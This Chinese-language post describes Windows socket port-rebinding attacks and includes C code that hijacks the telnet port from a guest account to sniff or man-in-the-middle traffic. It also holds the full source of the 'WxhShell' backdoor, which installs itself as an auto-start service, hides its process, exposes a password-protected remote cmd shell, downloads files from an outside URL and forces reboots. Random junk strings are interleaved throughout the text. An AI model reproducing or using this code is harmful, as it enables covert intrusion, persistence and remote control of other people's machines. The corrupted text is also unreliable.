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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .GNyADQp s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &!WRa@x0I jC}HNiM78 saddr.sin_family = AF_INET; E 11C@% UmGKj9u saddr.sin_addr.s_addr = htonl(INADDR_ANY); Rmn{Vui9\ r7?nHF bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o37oR v] Pn.DeoHme 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {=Jo!t;f coPdyw'9& 这意味着什么?意味着可以进行如下的攻击: f##/-NG Q_iN/F 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :X-S&SX0 XSK<hr0m 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T2azHo7 ~&MDfpl 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1t^9.!$@y > cWE@P 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ]e"!ZR?XJ ,!%E\` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 LdNpb;* s7:H 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #Y 6~W@$SP,F 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (>x05nh :KXI@)M #include mDbTOtD #include z9OpxW@Ou #include >!']w{G #include +O9x8OPHW DWORD WINAPI ClientThread(LPVOID lpParam); ZbdGI@ int main() b30Jr2[ { !'BXc%`x[ WORD wVersionRequested; O
j:I @c DWORD ret; X9FO"(J WSADATA wsaData; nIfAG^?|* BOOL val; F|5Au>t SOCKADDR_IN saddr; oCI\yp@a SOCKADDR_IN scaddr; _JNYvngm int err; r`EjD}2d SOCKET s; F?H=2mzKbz SOCKET sc; &zEBfr int caddsize; =GF=_Ac HANDLE mt; u1#(~[.
DWORD tid; ?(K=du wVersionRequested = MAKEWORD( 2, 2 ); jg{2Sxf!c err = WSAStartup( wVersionRequested, &wsaData ); i(cKg&+ktd if ( err != 0 ) { wJq$yqos{ printf("error!WSAStartup failed!\n"); Tt{z_gU6 return -1; </xf4.C } |?g-8":H8P saddr.sin_family = AF_INET; "gm5DE m9:ah< //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 SvvNk /JC1o&z_T saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?vAhDD5 saddr.sin_port = htons(23); eQ8t.~5;- if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;sAGTq { wik<#ke printf("error!socket failed!\n"); C|3Xz[k{ return -1; g<0K
i^# } J!5b~8`v val = TRUE; .7b%7dQ<\ //SO_REUSEADDR选项就是可以实现端口重绑定的 =4SXntU!e if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9609 { DQXcf*R printf("error!setsockopt failed!\n"); CyYr5 Dz return -1; S1y6G/e9 } Ny/eYF# //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v3M$UiN,: //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .43cI( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 F4z#u2~TC Vym0|cW if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w"dKOdY { ~XuV:K3 ret=GetLastError(); YCxwIzIR printf("error!bind failed!\n"); V|sV U return -1; Khc^q*|C) } gVzIEE25 listen(s,2); ~:f..|JM while(1) R"P-+T=7M { R*lq7n9 caddsize = sizeof(scaddr); WfG +_iP? //接受连接请求 @Bhcb.kbq sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '=Lpch2J if(sc!=INVALID_SOCKET) *kqC^2t { t? 6 et1~ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7f ub^'_ if(mt==NULL) =IQ}Y_xr { BYM6cp+S printf("Thread Creat Failed!\n"); { ,c*OR break; kVKAG\F } _]4p51r0 } *DfOm`m CloseHandle(mt); dr=Q9% } /(5"c> closesocket(s); sr&W+4T WSACleanup(); y<Xu65 return 0; fDqT7}L } [
fzYC'A= DWORD WINAPI ClientThread(LPVOID lpParam) bl^Ihza { .yXqa"p SOCKET ss = (SOCKET)lpParam; -q{N1?tcy SOCKET sc; g:JSy unsigned char buf[4096]; L98T!5) SOCKADDR_IN saddr; SKnYeT long num; JRFUNy1+e1 DWORD val; ws!~MSIy DWORD ret; +8N6tw/& //如果是隐藏端口应用的话,可以在此处加一些判断 !^su=c //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 =VuSi(d;e{ saddr.sin_family = AF_INET; At=d//5FFP saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); H#;*kc
a4 saddr.sin_port = htons(23); C,l,fT if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =tt3nfZ9 { q: FhuOP printf("error!socket failed!\n"); ztSQrDbbb4 return -1; (M$>*O3SR } c6 mS val = 100; ^OWG9`p+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h`1<+1J9 {
Fl=H5HR ret = GetLastError(); U[?_|=~7 return -1; h^tCF=S } a6DR' BC if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *1`X} { b1 w@toc ret = GetLastError(); .aY$-Y< return -1; !KK `+ 9/ } Y 2ANt w@ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pl&nr7\ { ur'<8pDb$ printf("error!socket connect failed!\n"); Kh$"5dy closesocket(sc); #d\&6'O closesocket(ss); S5 q1Mn return -1; 3_XLx{["' } s)qrlv5H while(1) jmr
.gW { \N0vA~N. //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 t
sUu //如果是嗅探内容的话,可以再此处进行内容分析和记录 04|ZwX$>+ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <.4(#Ebd num = recv(ss,buf,4096,0); Bgc]t if(num>0) eP>_CrJb send(sc,buf,num,0); >;c);|'}q else if(num==0) ~CnnN[g(_ break; g_syGQ\ num = recv(sc,buf,4096,0); <L qJg if(num>0) BK%B[f*[OA send(ss,buf,num,0); Dbn344s else if(num==0) ye$_=KARP break; kpn|C 9r } ANu>* closesocket(ss); [h;I)ug[o( closesocket(sc); PtW2S 1?j return 0 ; m#RJRuZ|2V } gUx}vE- (Fzy8
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========================================================== aH_c84DS :\"0jQ.y| 下边附上一个代码,,WXhSHELL G'/GDN^j 2\1+M) ========================================================== '|ntwK*f nahq O|~ #include "stdafx.h" lgU!D |v BVb^ xL #include <stdio.h> )>FAtE #include <string.h> "PI;/(kR #include <windows.h> o( zez #include <winsock2.h> {\1bWr8!U #include <winsvc.h> hTn"/|_SW #include <urlmon.h> e*}zl>f Ie^Ed` #pragma comment (lib, "Ws2_32.lib") > U?\WgE$ #pragma comment (lib, "urlmon.lib") :zKW[sF 1}=D #define MAX_USER 100 // 最大客户端连接数 T"Y#u #define BUF_SOCK 200 // sock buffer rueaP #define KEY_BUFF 255 // 输入 buffer "{D/a7]lC JL87a^ro #define REBOOT 0 // 重启 J2VPOn #define SHUTDOWN 1 // 关机 ;`7~Q h76j|1gI #define DEF_PORT 5000 // 监听端口 GE!nf6>Km }?Y -I>
w #define REG_LEN 16 // 注册表键长度 m6e(Xk,) #define SVC_LEN 80 // NT服务名长度 :P_h_Tizv M,H8ZO:R // 从dll定义API *P*~CHx> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :[n~(~7? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Pt5 wm\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pwfQqPC#_ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }5vKQf *J[P#y // wxhshell配置信息 Wu$ryX struct WSCFG { Z .gb' int ws_port; // 监听端口 GCN-T1HvA2 char ws_passstr[REG_LEN]; // 口令 Vp]7n!g4l int ws_autoins; // 安装标记, 1=yes 0=no |9S8sfw char ws_regname[REG_LEN]; // 注册表键名 f<bB= 9J char ws_svcname[REG_LEN]; // 服务名 [m:cO6DM, char ws_svcdisp[SVC_LEN]; // 服务显示名 > "F-1{ char ws_svcdesc[SVC_LEN]; // 服务描述信息 j.Uy>ol char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]}g\te int ws_downexe; // 下载执行标记, 1=yes 0=no ,V9qiu=m
char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Jl\xE`-7 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZzE( S O6y:e#0z }; j67a?0<C2U Qt4mg?X/ // default Wxhshell configuration qWr=Oiu struct WSCFG wscfg={DEF_PORT, _)5E= "xuhuanlingzhe", 45.ks. 1, /Kli C\ "Wxhshell", OoA!N-Q "Wxhshell", t!rrYBSCr "WxhShell Service", S&UP;oc "Wrsky Windows CmdShell Service", _oc6=Z "Please Input Your Password: ", q&@s/k 1, -M=BD-_.h " http://www.wrsky.com/wxhshell.exe", xFp$JN "Wxhshell.exe" zy$jTqDH }; m=9b/Nr4 RM_%u=jC // 消息定义模块 *]yrN` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?+hEs =Xs char *msg_ws_prompt="\n\r? for help\n\r#>"; |k6+-
1~_ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; N/0aO^"V char *msg_ws_ext="\n\rExit."; :} =lE"2 char *msg_ws_end="\n\rQuit."; [ x{$f7CEh char *msg_ws_boot="\n\rReboot..."; SV t~pE+Y char *msg_ws_poff="\n\rShutdown..."; s&nat4{B char *msg_ws_down="\n\rSave to "; FA,n> H1U$ApD char *msg_ws_err="\n\rErr!"; bQ3<>e\%B char *msg_ws_ok="\n\rOK!"; c+3(|k-M 87! jn'A char ExeFile[MAX_PATH]; dnD@BQ int nUser = 0; >|%3j,<U HANDLE handles[MAX_USER]; [6l0|Y int OsIsNt; F;#$Q Y }VJ4!%U SERVICE_STATUS serviceStatus; }'wZ)N@ SERVICE_STATUS_HANDLE hServiceStatusHandle; $Be hU c9 EtUv~ // 函数声明 _$$.5?4 int Install(void); }w4OCN\1
int Uninstall(void); )=GPhC/sw int DownloadFile(char *sURL, SOCKET wsh); #^VZJ:2=| int Boot(int flag); @*vVc`; void HideProc(void); M2cGr int GetOsVer(void); i=<;$+tW int Wxhshell(SOCKET wsl); cu>(;= void TalkWithClient(void *cs); }6a}8EyFP int CmdShell(SOCKET sock); bEcN_7 int StartFromService(void); *ilh/Hd> int StartWxhshell(LPSTR lpCmdLine); )I*(yUj eV}" L:bgJ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B\R X VOID WINAPI NTServiceHandler( DWORD fdwControl ); ShC$ue?Q ':_9o5I // 数据结构和表定义 ktfm SERVICE_TABLE_ENTRY DispatchTable[] = .:&`PaMt { mTu>S {wscfg.ws_svcname, NTServiceMain}, 9+9g (6 {NULL, NULL} yOz6a :r }; '8)kFR^9 8'@5X-nD // 自我安装 15J"iN2"W int Install(void) Y910\h@V { yH"i5L9 char svExeFile[MAX_PATH]; Szt2 "AR HKEY key; $$ *tK8# strcpy(svExeFile,ExeFile); Z#@ Zfk]Z9YO // 如果是win9x系统,修改注册表设为自启动 9Zd\6F, if(!OsIsNt) { B0|W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \;MP|:{pU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [ S RegCloseKey(key); }.045 Wuu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Qqg.z-G%. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }kQ{T:q4 RegCloseKey(key); zB0*KgAn{ return 0; #%QHb,lhl } G?@W;o) } }I
uqB*g[t } }&/>v' G else { s1wlO y d@ 8M_
O | // 如果是NT以上系统,安装为系统服务 :AlvWf$d SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !dwZ` D if (schSCManager!=0) nG4ZOx.*1g { mWZP.w^- SC_HANDLE schService = CreateService + Fo^NT ( BAXu\a-C_ schSCManager, V5$Gb6?K wscfg.ws_svcname, P^"RH&ZQJ wscfg.ws_svcdisp, J|{50?S{^ SERVICE_ALL_ACCESS,
t* Ct* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "XxmiK SERVICE_AUTO_START, ^cNuEF9 SERVICE_ERROR_NORMAL, rM.Pc?Z svExeFile, >ymn&_zlT NULL, 34Gu @" NULL, o@gceZuk NULL, #pPOQv:~ NULL, (bv{17K NULL &c!6e<o[p ); #z >I =gl if (schService!=0) Pl/Xh03E { k%gj CloseServiceHandle(schService); TaSS) n CloseServiceHandle(schSCManager); c&wg`1{Hal strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }=v4(M `% strcat(svExeFile,wscfg.ws_svcname); py7Zh%k if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w( SY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YK{J"Kof RegCloseKey(key); '8zd]U return 0; eY#^vB } wipl5O@L } X<IW5* CloseServiceHandle(schSCManager); Mj1f;$ } :(ql=+vDb4 } _+9i PEEaNOk
1b return 1; %XN;S29d5W } -h7ssf'u[ ?XdvZf $ // 自我卸载 Qq.$!$ int Uninstall(void) bP-(N14x+ { b-8@_@f|g HKEY key; mZB:j]T 7"2BZ if(!OsIsNt) { )/DN>rU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2;T?ry7 RegDeleteValue(key,wscfg.ws_regname); WqefH{PB RegCloseKey(key); Uf+y$n- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TYD( 6N RegDeleteValue(key,wscfg.ws_regname); bC+ZR{M RegCloseKey(key); #!z-)[S.+ return 0; E8Kk)7 } y "+'4:_ } cO{NiRIb } >
"rM\ Q else { %[KnpJ{\ nI?*[y} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @d{}M)6\! if (schSCManager!=0) $!. [R} { r4[=pfe25 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1lIs
jBo g if (schService!=0) K_Y{50# { 2~hdJ/ if(DeleteService(schService)!=0) { jt}oq%Bf CloseServiceHandle(schService); @1'OuX^ CloseServiceHandle(schSCManager); VtzZ1/JE return 0; &TRKd)w d } aWimg6q CloseServiceHandle(schService); |-vyhr0 } 'fK=;mM CloseServiceHandle(schSCManager); 1J1Jp|j. } *A!M0TK?i, } ~rO&Y{aG# r6\g#} return 1; gzi=+oJ|4 } ?;](;n#lU )|v du // 从指定url下载文件 G3|23G.~)( int DownloadFile(char *sURL, SOCKET wsh) En7+fQ { 0^Ldw)C" HRESULT hr; **__&Xp1 char seps[]= "/"; i#YDdz char *token; <H]PP6_g: char *file; ;DX{+Z[ char myURL[MAX_PATH]; Q(N'Oj:J char myFILE[MAX_PATH]; 0_je@p+$
"24d:vf\ strcpy(myURL,sURL); 6[XaIco=C token=strtok(myURL,seps); {BM:c$3@j while(token!=NULL) ApSseBhh { P\WHM( file=token; >DY/CcG\P token=strtok(NULL,seps); Z(RsB_u5 } 3F;0a ;[ m`zd0IRTP GetCurrentDirectory(MAX_PATH,myFILE); w7~]c,$y. strcat(myFILE, "\\"); 1f^oW[w& strcat(myFILE, file); bny@AP(CY+ send(wsh,myFILE,strlen(myFILE),0); rkS'OC send(wsh,"...",3,0); +Q_xY>ej hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +e>G V61 if(hr==S_OK) "Vc|D (g return 0; bZWR.</ else YdvXp/P:| return 1; X)]>E]X !V #*(_+n } pHVDug3 /oe0 // 系统电源模块 @.cord` int Boot(int flag) 6C.!+km { P[H`]q| HANDLE hToken; nUONI+6Z/ TOKEN_PRIVILEGES tkp; S|u5RU8*"| mhIGunK;+ if(OsIsNt) { zB y%$5~Fw OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6k,@+@]t. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0|va}m`<3G tkp.PrivilegeCount = 1; nq7)0F%e tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >/.jB/q AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~qb?#IY]` if(flag==REBOOT) { D.AiqO<z if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wMF1HT<* return 0; 2\$<&]q } }1CO>a< else { >Gg[J=7` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aAoAjV NkK return 0; ;/m>c{ } WR.7%U'; } Zq1> M'V; else { gDfM} 2]/ if(flag==REBOOT) { ,9=P=JH if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =fBr2%qK return 0; ,t1s#*j\!q } +A,cdi9z else { z&GGa`T" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mNe908Yw return 0; m|cRj{xZF } 3s:)CXO } <C"}OW8 gcX return 1; ]]V=\.y } q{,yas7} :1iXBG\ // win9x进程隐藏模块 <9=RLENmY" void HideProc(void) .
VI
# { W#b++}S mMhe,8E& HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _;(QMeR if ( hKernel != NULL ) 3joMtRB>; { \hzx? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _["97>q ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Vyx&MU.-J FreeLibrary(hKernel); jq/{|<0 } &xlOsr/n d9
8pv% return; v Ma$JPauI } 71&`6# rUiUv(q // 获取操作系统版本 jS/$o ? int GetOsVer(void) U/(R_U>= { yCg>]6B OSVERSIONINFO winfo; H<b4B$/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~}~ yR*K% GetVersionEx(&winfo); \BsvUGd if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WWTJ%Rd| return 1; MT&q~jx* else gY=+G6;=< return 0; HZ2 zL17 } KRcg f;ycQc@f // 客户端句柄模块 QPF[D7\ int Wxhshell(SOCKET wsl) |4Q><6"G { ',RR*{I SOCKET wsh; +n`^W( struct sockaddr_in client; v:j4#pEWD DWORD myID; P|)SXR Sag\wKV8 while(nUser<MAX_USER) ;#"`]khd { Xg"Mjmr int nSize=sizeof(client); LyXABQ] wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1hp@.Fv if(wsh==INVALID_SOCKET) return 1; @1[LD[< 9=~jKl%\vJ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `V0]t_*D if(handles[nUser]==0) 7
~ Bo*UM closesocket(wsh); wY}+d0Ch else ~RE`@/wQ] nUser++; Ix5yQgnB}j } 0MzHr2?'P WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3?/} |y=D^NTG return 0; %nc+VL4 } cKy%0oTla |b7>kM}" // 关闭 socket 7~`6~qg. void CloseIt(SOCKET wsh)
ae1fCw3k { ]R]X#jm closesocket(wsh); ')FNudsC nUser--; PwNLJj+% ExitThread(0); .g&BA15<F6 } E3KPJ`=!*" ,9M \`6 // 客户端请求句柄 `0 F"zu void TalkWithClient(void *cs) aH$*Ue@Q { DwTZ<H4 p-/x Md SOCKET wsh=(SOCKET)cs; pV-.r-P char pwd[SVC_LEN]; Ri-wbYFaP char cmd[KEY_BUFF]; $S cjEG:6 char chr[1]; d ly 0874 int i,j; &k{@:z AU$5"kBE while (nUser < MAX_USER) { %I=J8$B]f Y2D)$ if(wscfg.ws_passstr) { {5z?5i ?D if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9hp0wi@W} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pcl_$2_ //ZeroMemory(pwd,KEY_BUFF); YGn:_9 i=0; 6ensNr~ea while(i<SVC_LEN) { 2Uk8{d <*5D0q#~" // 设置超时 )*JTxMQ fd_set FdRead; ;~q)^.K3 struct timeval TimeOut; ?x/L"h&Kp FD_ZERO(&FdRead); ]ogy`O > FD_SET(wsh,&FdRead); F^~#D, \ TimeOut.tv_sec=8; E|Lh$9XONA TimeOut.tv_usec=0; n*xNMw1x"T int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a:]yFi:Su if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Zj<T#4?8 Q\z*q,^R if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |Z/ySAFM pwd =chr[0]; &boBu^,94 if(chr[0]==0xd || chr[0]==0xa) { ?8nG F%p pwd=0; Zj^H3h break; Ek.j@79 } RGKJO_*J2 i++; 5LK>n- } ]-`{kX =f p(hX" // 如果是非法用户,关闭 socket tw')2UGg if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?{dno= } +]_} \ Zj0&/S send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fjJIF% send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *Ee# x!O x[kdQj2[& while(1) { zC^Ib&gm>, g/yXPzLU ZeroMemory(cmd,KEY_BUFF); cK } Qu D.GSl // 自动支持客户端 telnet标准 u!S{[7 FY j=0; A|+{x4s` while(j<KEY_BUFF) { 8YJ({ Ou_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _[7uLWyC9 cmd[j]=chr[0]; zBR]bk\ if(chr[0]==0xa || chr[0]==0xd) { +Snjb0 cmd[j]=0; :4Vt break; g<-cHF } }A;Xd/,'r j++; m4
(Fuu } BMW4E 5 <.2Z{;z // 下载文件 RinRQd if(strstr(cmd,"http://")) { btE+.V send(wsh,msg_ws_down,strlen(msg_ws_down),0); / u{r5`4
if(DownloadFile(cmd,wsh)) M>#{~zr send(wsh,msg_ws_err,strlen(msg_ws_err),0); "869n37 else M@3H]t? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zYNJF>^< } U|QDV16f else { |g{AD` 57}q'84 switch(cmd[0]) { Sq'z<}o /_|1,x-Kx // 帮助 ?~{xL" case '?': { ^b#E%Rd send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]=3O,\ break; 2S4z$(x3 } V_QVLW // 安装 k|D!0^HE[ case 'i': { VGq]id{*$ if(Install()) .wSAysiQ|P send(wsh,msg_ws_err,strlen(msg_ws_err),0); v>5F[0gE else GXl?Zg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [`lAc V< break; ;rKYWj>IR } AQ5v`xE4 // 卸载 xd 3 case 'r': { 2o/`8+eJu if(Uninstall()) Fqv5WoYVf send(wsh,msg_ws_err,strlen(msg_ws_err),0); F8I<4S else @n(In$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^q`*!B9@ break; kes'q8k } $%-?S]6) // 显示 wxhshell 所在路径 Ymu=G3- case 'p': { ZIp=JR8o$ char svExeFile[MAX_PATH]; u/f&Wq/ strcpy(svExeFile,"\n\r"); p3o?_ !Z strcat(svExeFile,ExeFile); _u>>+6,p send(wsh,svExeFile,strlen(svExeFile),0); :6+~"7T break; u"jnEKN0y } qu%s 7+ // 重启 /["T#` case 'b': { ^d*>P|n*@e send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M)7enp) F. if(Boot(REBOOT)) Mm!saKT% send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8E+l;2 else { jlBCu(.,_ closesocket(wsh); }t'^Au`X ExitThread(0); fL;p^t u3 } h~p}08 break; jHCKV } |_*$+ // 关机 Kc0OLcu^d case 'd': {
P+0xi send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [4j;FN Fa if(Boot(SHUTDOWN)) v3Yj2LSqx send(wsh,msg_ws_err,strlen(msg_ws_err),0); bB-v ar else { h'p0V@!N closesocket(wsh); ;>9pJ72r ExitThread(0); rE:>G]j6 } {)qP34rM break; Cj+=9Dc } ~~,<+X: // 获取shell >lmL case 's': { K7c8_g*>4= CmdShell(wsh); _O%p{t'q< closesocket(wsh); DG=Ap:sl*$ ExitThread(0); h :R)KM break; 0)!zhO_} } Pa +BE[z // 退出 ,m,vo_Ub case 'x': { (xed(uFEK send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +.I'U9QeUN CloseIt(wsh); $4L3y
uH break; {6sfa?1j } Fr3t[:D // 离开 ".?{Y(~ case 'q': { (K6StNtN send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]s@8I2_ closesocket(wsh); #7h fEAk WSACleanup(); V&H8-,7z exit(1); Ui!|!V- break; gUA}%YXe } ^;Q
pE } RfG$Px ' } TP::y j:3Hm0W3 // 提示信息 h+D=/:B if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YWrY{6M } .`N`M9 } 'Y\"^'OU\ @98SC}}u return; w lg#c6#q } 22~X~= wtLMc // shell模块句柄 mtddLd, int CmdShell(SOCKET sock) e622{dfVS { v^fOT5\ STARTUPINFO si; lG>e6[Wc ZeroMemory(&si,sizeof(si)); ^\jX5)2{ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W%K8HAP " si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6 JYOe PROCESS_INFORMATION ProcessInfo; J6D$ i+ char cmdline[]="cmd"; @(fY4]K CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ilpZ/Rs return 0; P%HyIODS } *%'7~58ObS G!%XQ\a! // 自身启动模式 {NgY8wQB int StartFromService(void) %5?-g[ { &W//
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)f typedef struct iGVb.=) { #-j!
;? DWORD ExitStatus; B-'BJ|*4I DWORD PebBaseAddress; [(EH DWORD AffinityMask; %MZDm&f>Kk DWORD BasePriority; O \8G~V
5" ULONG UniqueProcessId; Ia:puks= ULONG InheritedFromUniqueProcessId; mIEaWE;E" } PROCESS_BASIC_INFORMATION; 9R"N#w.U] <L/vNP PROCNTQSIP NtQueryInformationProcess; sNmC#, \'tz| static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $'{`i5XB static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vqz#V=J{ -01 1U! HANDLE hProcess;
